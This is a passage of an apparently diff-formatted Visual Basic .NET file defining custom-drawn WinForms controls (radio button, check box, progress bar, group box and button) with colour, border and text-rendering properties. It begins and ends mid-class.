Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + TextColor = Color.White + TextColorBack = Color.Black + OutlineColor = Color.FromArgb(40, 40, 40) + CheckedColor = Color.White + Font = New Font("Verdana", 8, FontStyle.Regular) + MinimumSize = New Size(Width, 17) + Size = MinimumSize + End Sub + + Private Sub InvalidateParent() + If Parent Is Nothing Then + Return + End If + For Each Control As Control In Parent.Controls + If (Not ReferenceEquals(Control, Me)) AndAlso (TypeOf Control Is STRadioButton) Then + TryCast(Control, STRadioButton).Checked = False + End If + Next + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + e.Graphics.SmoothingMode = SmoothingMode.AntiAlias + Dim Bounds As New Rectangle(3, 2, (Height - 5), (Height - 5)) + Dim Path As New GraphicsPath() + Path.AddEllipse(Bounds) + Dim Brush As New PathGradientBrush(Path) + Brush.CenterColor = BackColorTop + Brush.SurroundColors = New Color() {BackColorBottom} + Brush.FocusScales = New PointF(0.3F, 0.3F) + e.Graphics.FillPath(Brush, Path) + e.Graphics.DrawEllipse(New Pen(OutlineColor, BorderThickness), Bounds) + If Checked Then + Dim CheckedBounds As New Rectangle((Bounds.X + 4), (Bounds.Y + 4), (Bounds.Height - 8), (Bounds.Height - 8)) + e.Graphics.FillEllipse(New SolidBrush(CheckedColor), CheckedBounds) + e.Graphics.DrawEllipse(New Pen(CheckedColor, BorderThickness), CheckedBounds) + End If + Dim TextSize As SizeF = e.Graphics.MeasureString(Text, Font) + Size = New Size((CInt(TextSize.Width) + Height), Height) + Dim TextLocation As New Point(Height, ((Height / 2) - CInt(TextSize.Height / 2))) + NetTwist.DrawString(e.Graphics, Font, Text, TextColorBack, StringAlignment.Near, New PointF((TextLocation.X + 1), (TextLocation.Y + 1))) + NetTwist.DrawString(e.Graphics, Font, Text, TextColor, StringAlignment.Near, New PointF(TextLocation.X, TextLocation.Y)) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Checked = True + MyBase.OnMouseDown(e) + End Sub +End Class + + _ +Class STCheckBox + Inherits Control +#Region "Properties" + _ + Public Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + MyBase.BackColor = value + End Set + End Property + + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + End Set + End Property + + Public Event CheckedChanged As CheckedChangedEventHandler + Public Delegate Sub CheckedChangedEventHandler(ByVal sender As Object) + Public Enum CheckedTypes + Blop + Cross + Tick + End Enum + Private _CheckedType As CheckedTypes = CheckedTypes.Blop + Private _BorderThickness As Integer = 2 + Public Overridable Property BorderThickness() As Integer + Get + Return _BorderThickness + End Get + Set(ByVal value As Integer) + _BorderThickness = value + Invalidate() + End Set + End Property + Public Overridable Property CheckedType() As CheckedTypes + Get + Return _CheckedType + End Get + Set(ByVal value As CheckedTypes) + _CheckedType = value + Invalidate() + End Set + End Property + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColorBack() As Color + Get + Return _TextColorBack + End Get + Set(ByVal value As Color) + _TextColorBack = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color, _TextColorBack As Color, _OutlineColor As Color, _CheckedColor As Color, _CheckedColorBack As Color + Public Overridable Property CheckedColor() As Color + Get + Return _CheckedColor + End Get + Set(ByVal value As Color) + _CheckedColor = value + Invalidate() + End Set + End Property + Public Overridable Property CheckedColorBack() As Color + Get + Return _CheckedColorBack + End Get + Set(ByVal value As Color) + _CheckedColorBack = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + TextColor = Color.White + TextColorBack = Color.Black + OutlineColor = Color.FromArgb(40, 40, 40) + CheckedColor = Color.White + CheckedColorBack = Color.Black + Font = New Font("Verdana", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + e.Graphics.SmoothingMode = SmoothingMode.AntiAlias + Dim Bounds As New Rectangle(3, 2, (Height - 5), (Height - 5)) + NetTwist.DrawRoundRectangle(e.Graphics, Bounds, 1, New Pen(OutlineColor, BorderThickness), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + If Checked Then + Dim CheckedBounds As New Rectangle((Bounds.X + 2), (Bounds.Y + 2), (Bounds.Height - 4), (Bounds.Height - 4)) + Select Case CheckedType + Case CheckedTypes.Blop + NetTwist.DrawRoundRectangle(e.Graphics, CheckedBounds, 1, New Pen(OutlineColor, BorderThickness), CheckedColor) + Exit Select + Case CheckedTypes.Cross + Using Path As New GraphicsPath() + Path.AddLine(CheckedBounds.X, CheckedBounds.Y - 1, CheckedBounds.X + 2, CheckedBounds.Y - 1) + Path.AddLine(CheckedBounds.X + 4, CheckedBounds.Y + 1, CheckedBounds.X + 6, CheckedBounds.Y - 1) + Path.AddLine(CheckedBounds.X + 8, CheckedBounds.Y - 1, CheckedBounds.X + 9, CheckedBounds.Y) + Path.AddLine(CheckedBounds.X + 6, CheckedBounds.Y + 3, CheckedBounds.X + 6, CheckedBounds.Y + 4) + Path.AddLine(CheckedBounds.X + 9, CheckedBounds.Y + 7, CheckedBounds.X + 8, CheckedBounds.Y + 8) + Path.AddLine(CheckedBounds.X + 6, CheckedBounds.Y + 8, CheckedBounds.X + 4, CheckedBounds.Y + 6) + Path.AddLine(CheckedBounds.X + 2, CheckedBounds.Y + 8, CheckedBounds.X, CheckedBounds.Y + 8) + Path.AddLine(CheckedBounds.X - 1, CheckedBounds.Y + 7, CheckedBounds.X + 2, CheckedBounds.Y + 4) + Path.AddLine(CheckedBounds.X + 2, CheckedBounds.Y + 3, CheckedBounds.X - 1, CheckedBounds.Y) + e.Graphics.FillPath(Brushes.White, Path) + e.Graphics.DrawPath(Pens.Black, Path) + End Using + Exit Select + Case CheckedTypes.Tick + e.Graphics.DrawLine(New Pen(CheckedColorBack, BorderThickness), 6, (Height - 6), 9, (Height - 7)) + e.Graphics.DrawLine(New Pen(CheckedColorBack, BorderThickness), 8, (Height - 4), (Height - 3), 6) + e.Graphics.DrawLine(New Pen(CheckedColor, BorderThickness), 5, (Height - 8), 8, (Height - 6)) + e.Graphics.DrawLine(New Pen(CheckedColor, BorderThickness), 7, (Height - 6), (Height - 5), 4) + Exit Select + End Select + End If + Dim TextSize As SizeF = e.Graphics.MeasureString(Text, Font) + Size = New Size((CInt(TextSize.Width) + Height), Height) + Dim TextLocation As New Point(Height, ((Height / 2) - CInt(TextSize.Height / 2))) + NetTwist.DrawString(e.Graphics, Font, Text, TextColorBack, StringAlignment.Near, New PointF((TextLocation.X + 1), (TextLocation.Y + 1))) + NetTwist.DrawString(e.Graphics, Font, Text, TextColor, StringAlignment.Near, New PointF(TextLocation.X, TextLocation.Y)) + End Sub + + Protected Overrides Sub OnMouseClick(ByVal e As MouseEventArgs) + Checked = Not Checked + MyBase.OnMouseClick(e) + End Sub +End Class + +Class STProgressBar + Inherits Control +#Region "Properties" + Private _Minimum As Integer = 0, _Value As Integer = 50, _Maximum As Integer = 100 + Public Overridable Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If (value >= 0) AndAlso (value < Maximum) Then + _Minimum = value + Invalidate() + End If + End Set + End Property + Public Overridable Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + If value < Minimum Then + value = Minimum + ElseIf value > Maximum Then + value = Maximum + End If + _Value = value + Invalidate() + End Set + End Property + Public Overridable Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value <= Minimum Then + value = (Minimum + 1) + End If + _Maximum = value + Invalidate() + End Set + End Property + Public Enum ProgressTexts + None + Flow + Bubble + AlignLeft + AlignCenter + AlignRight + End Enum + Private _ProgressText As ProgressTexts = ProgressTexts.None + Public Property ProgressText() As ProgressTexts + Get + Return _ProgressText + End Get + Set(ByVal value As ProgressTexts) + _ProgressText = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color, _OutlineColor As Color, _TextColorBack As Color, _ProgressColor As Color, _ProgressColorBack As Color, _ + _ProgressOutlineColor As Color, _ProgressTextColor As Color, _ProgressTextBackColor As Color + Public Overridable Property ProgressTextColor() As Color + Get + Return _ProgressTextColor + End Get + Set(ByVal value As Color) + _ProgressTextColor = value + Invalidate() + End Set + End Property + Public Overridable Property ProgressTextBackColor() As Color + Get + Return _ProgressTextBackColor + End Get + Set(ByVal value As Color) + _ProgressTextBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property ProgressOutlineColor() As Color + Get + Return _ProgressOutlineColor + End Get + Set(ByVal value As Color) + _ProgressOutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property ProgressColor() As Color + Get + Return _ProgressColor + End Get + Set(ByVal value As Color) + _ProgressColor = value + Invalidate() + End Set + End Property + Public Overridable Property ProgressColorBack() As Color + Get + Return _ProgressColorBack + End Get + Set(ByVal value As Color) + _ProgressColorBack = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColorBack() As Color + Get + Return _TextColorBack + End Get + Set(ByVal value As Color) + _TextColorBack = value + Invalidate() + End Set + End Property + Private _BorderThickness As Integer = 1 + Public Overridable Property BorderThickness() As Integer + Get + Return _BorderThickness + End Get + Set(ByVal value As Integer) + _BorderThickness = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property + + _ + Public Shadows Property Enabled() As Boolean + Get + Return MyBase.Enabled + End Get + Set(ByVal value As Boolean) + MyBase.Enabled = value + End Set + End Property +#End Region + + Public Sub New() + MinimumSize = New Size(100, 10) + Size = New Size(200, 15) + Font = New Font("Verdana", 6, FontStyle.Bold) + BackColorBottom = Color.FromArgb(40, 40, 40) + BackColorTop = Color.FromArgb(60, 60, 60) + OutlineColor = Color.FromArgb(20, 20, 20) + ProgressColor = Color.SkyBlue + ProgressColorBack = Color.DeepSkyBlue + ProgressOutlineColor = Color.DeepSkyBlue + ProgressTextColor = Color.White + ProgressTextBackColor = Color.Black + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, BorderThickness), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + Dim ProgressWidth As Integer = CInt((CSng(Value) / CSng(Maximum)) * CSng(Width)) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(3, 3, (ProgressWidth - 6), (Height - 6)), Radius, New Pen(ProgressOutlineColor, BorderThickness), NetTwist.CreateGradient(Width, Height, ProgressColor, ProgressColorBack)) + Dim ProgressTextS__1 As String = (CInt((CSng(Value) / CSng(Maximum)) * 100.0F).ToString() + "%") + Dim ProgressTextWidth As Integer = CInt(e.Graphics.MeasureString(ProgressTextS__1, Font).Width) + Select Case ProgressText + Case ProgressTexts.Flow + Dim ProgressTextX As Integer = (Math.Min((Width - ProgressTextWidth), ProgressWidth)) + NetTwist.DrawString(e.Graphics, Font, ProgressTextS__1, ProgressTextBackColor, StringAlignment.Near, New PointF((ProgressTextX + 1), (((Height / 2) - (e.Graphics.MeasureString(ProgressTextS__1, Font).Height / 2)) + 1))) + NetTwist.DrawString(e.Graphics, Font, ProgressTextS__1, ProgressTextColor, StringAlignment.Near, New PointF(ProgressTextX, ((Height / 2) - (e.Graphics.MeasureString(ProgressTextS__1, Font).Height / 2)))) + Exit Select + End Select + End Sub +End Class + +Class STGroupBox + Inherits ContainerControl +#Region "Properties" + _ + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + End Set + End Property + + _ + Public Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + End Set + End Property + + Private _Title As String, _Description As String + Public Overridable Property Title() As String + Get + Return _Title + End Get + Set(ByVal value As String) + _Title = value + Invalidate() + End Set + End Property + Public Overridable Property Description() As String + Get + Return _Description + End Get + Set(ByVal value As String) + _Description = value + Invalidate() + End Set + End Property + Private _TitleColor As Color, _TitleBackColor As Color, _DescriptionColor As Color, _DescriptionBackColor As Color, _OutlineColor As Color, _SeperatorColor As Color + Public Overridable Property TitleColor() As Color + Get + Return _TitleColor + End Get + Set(ByVal value As Color) + _TitleColor = value + Invalidate() + End Set + End Property + Public Overridable Property TitleBackColor() As Color + Get + Return _TitleBackColor + End Get + Set(ByVal value As Color) + _TitleBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property DescriptionColor() As Color + Get + Return _DescriptionColor + End Get + Set(ByVal value As Color) + _DescriptionColor = value + Invalidate() + End Set + End Property + Public Overridable Property DescriptionBackColor() As Color + Get + Return _DescriptionBackColor + End Get + Set(ByVal value As Color) + _DescriptionBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property SeperatorColor() As Color + Get + Return _SeperatorColor + End Get + Set(ByVal value As Color) + _SeperatorColor = value + Invalidate() + End Set + End Property + Private _TitleFont As Font, _DescriptionFont As Font + Public Overridable Property TitleFont() As Font + Get + Return _TitleFont + End Get + Set(ByVal value As Font) + _TitleFont = value + Invalidate() + End Set + End Property + Public Overridable Property DescriptionFont() As Font + Get + Return _DescriptionFont + End Get + Set(ByVal value As Font) + _DescriptionFont = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3, _OutlineThickness As Integer = 1, _SeperatorThickness As Integer = 2 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineThickness() As Integer + Get + Return _OutlineThickness + End Get + Set(ByVal value As Integer) + _OutlineThickness = value + Invalidate() + End Set + End Property + Public Overridable Property SeperatorThickness() As Integer + Get + Return _SeperatorThickness + End Get + Set(ByVal value As Integer) + _SeperatorThickness = value + Invalidate() + End Set + End Property + Public Enum DescriptionAligns + NextTo + Underneath + End Enum + Private _DescriptionAlign As DescriptionAligns = DescriptionAligns.Underneath + Public Overridable Property DescriptionAlign() As DescriptionAligns + Get + Return _DescriptionAlign + End Get + Set(ByVal value As DescriptionAligns) + _DescriptionAlign = value + Invalidate() + End Set + End Property + Private _DrawSeperator As Boolean = True + Public Overridable Property DrawSeperator() As Boolean + Get + Return _DrawSeperator + End Get + Set(ByVal value As Boolean) + _DrawSeperator = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Overrides Property AutoScroll() As Boolean + Get + Return MyBase.AutoScroll + End Get + Set(ByVal value As Boolean) + MyBase.AutoScroll = value + End Set + End Property + + _ + Public Shadows Property AutoScrollMargin() As Size + Get + Return MyBase.AutoScrollMargin + End Get + Set(ByVal value As Size) + MyBase.AutoScrollMargin = value + End Set + End Property + + _ + Public Shadows Property AutoScrollMinSize() As Size + Get + Return MyBase.AutoScrollMinSize + End Get + Set(ByVal value As Size) + MyBase.AutoScrollMinSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + Title = "Group Title" + Description = "Group Description" + TitleFont = New Font("Verdana", 9, FontStyle.Bold) + DescriptionFont = New Font("Verdana", 6, FontStyle.Italic) + TitleColor = Color.DeepSkyBlue + DescriptionColor = Color.White + TitleBackColor = Color.Black + DescriptionBackColor = Color.Black + OutlineColor = Color.FromArgb(30, 30, 30) + SeperatorColor = Color.FromArgb(43, 43, 43) + Size = New Size(300, 300) + End Sub + + Protected Overrides Sub OnParentChanged(ByVal e As EventArgs) + BackColor = Parent.BackColor + MyBase.OnParentChanged(e) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, OutlineThickness), BackColor) + Dim TitleSize As SizeF = e.Graphics.MeasureString(Title, TitleFont) + NetTwist.DrawString(e.Graphics, TitleFont, Title, TitleBackColor, StringAlignment.Near, New PointF(3, 3)) + NetTwist.DrawString(e.Graphics, TitleFont, Title, TitleColor, StringAlignment.Near, New PointF(2, 2)) + Dim DescriptionSize As SizeF = e.Graphics.MeasureString(Description, DescriptionFont) + Select Case DescriptionAlign + Case DescriptionAligns.NextTo + NetTwist.DrawString(e.Graphics, DescriptionFont, Description, DescriptionBackColor, StringAlignment.Near, New PointF((3 + TitleSize.Width), (3 + ((TitleSize.Height / 2) - (DescriptionSize.Height / 2))))) + NetTwist.DrawString(e.Graphics, DescriptionFont, Description, DescriptionColor, StringAlignment.Near, New PointF((2 + TitleSize.Width), (2 + ((TitleSize.Height / 2) - (DescriptionSize.Height / 2))))) + Exit Select + Case DescriptionAligns.Underneath + NetTwist.DrawString(e.Graphics, DescriptionFont, Description, DescriptionBackColor, StringAlignment.Near, New PointF(5, (3 + TitleSize.Height))) + NetTwist.DrawString(e.Graphics, DescriptionFont, Description, DescriptionColor, StringAlignment.Near, New PointF(4, (2 + TitleSize.Height))) + Exit Select + End Select + If DrawSeperator Then + Dim SeperatorY As Integer = (If((DescriptionAlign = DescriptionAligns.NextTo), (3 + CInt(TitleSize.Height)), (6 + CInt(TitleSize.Height) + CInt(DescriptionSize.Height)))) + e.Graphics.DrawLine(New Pen(SeperatorColor, SeperatorThickness), New Point(3, SeperatorY), New Point((Width - 3), SeperatorY)) + End If + End Sub +End Class + +Class STButton + Inherits Control +#Region "Properties" + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + End Set + End Property + + Public Overridable Shadows Property Enabled() As Boolean + Get + Return MyBase.Enabled + End Get + Set(ByVal value As Boolean) + MyBase.Enabled = value + Invalidate() + End Set + End Property + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Private Pressed As Boolean = False, Hovering As Boolean = False + Private _VerticalTextAlign As StringAlignment = StringAlignment.Center, _HorizontalTextAlign As StringAlignment = StringAlignment.Center + Public Property VerticalTextAlign() As StringAlignment + Get + Return _VerticalTextAlign + End Get + Set(ByVal value As StringAlignment) + _VerticalTextAlign = value + Invalidate() + End Set + End Property + Public Property HorizontalTextAlign() As StringAlignment + Get + Return _HorizontalTextAlign + End Get + Set(ByVal value As StringAlignment) + _HorizontalTextAlign = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color, _OutlineColor As Color, _HoverTopColor As Color, _HoverBottomColor As Color, _PressedTopColor As Color, _ + _PressedBottomColor As Color, _TextColor As Color, _TextBackColor As Color, _DisabledTopColor As Color, _DisabledBottomColor As Color + Public Overridable Property DisabledTopColor() As Color + Get + Return _DisabledTopColor + End Get + Set(ByVal value As Color) + _DisabledTopColor = value + Invalidate() + End Set + End Property + Public Overridable Property DisabledBottomColor() As Color + Get + Return _DisabledBottomColor + End Get + Set(ByVal value As Color) + _DisabledBottomColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return _TextColor + End Get + Set(ByVal value As Color) + _TextColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextBackColor() As Color + Get + Return _TextBackColor + End Get + Set(ByVal value As Color) + _TextBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property PressedTopColor() As Color + Get + Return _PressedTopColor + End Get + Set(ByVal value As Color) + _PressedTopColor = value + Invalidate() + End Set + End Property + Public Overridable Property PressedBottomColor() As Color + Get + Return _PressedBottomColor + End Get + Set(ByVal value As Color) + _PressedBottomColor = value + Invalidate() + End Set + End Property + Public Overridable Property HoverColor() As Color + Get + Return _HoverTopColor + End Get + Set(ByVal value As Color) + _HoverTopColor = value + Invalidate() + End Set + End Property + Public Overridable Property HoverBackColor() As Color + Get + Return _HoverBottomColor + End Get + Set(ByVal value As Color) + _HoverBottomColor = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3, _OutlineThickness As Integer = 1 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineThickness() As Integer + Get + Return _OutlineThickness + End Get + Set(ByVal value As Integer) + _OutlineThickness = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + BackColorTop = 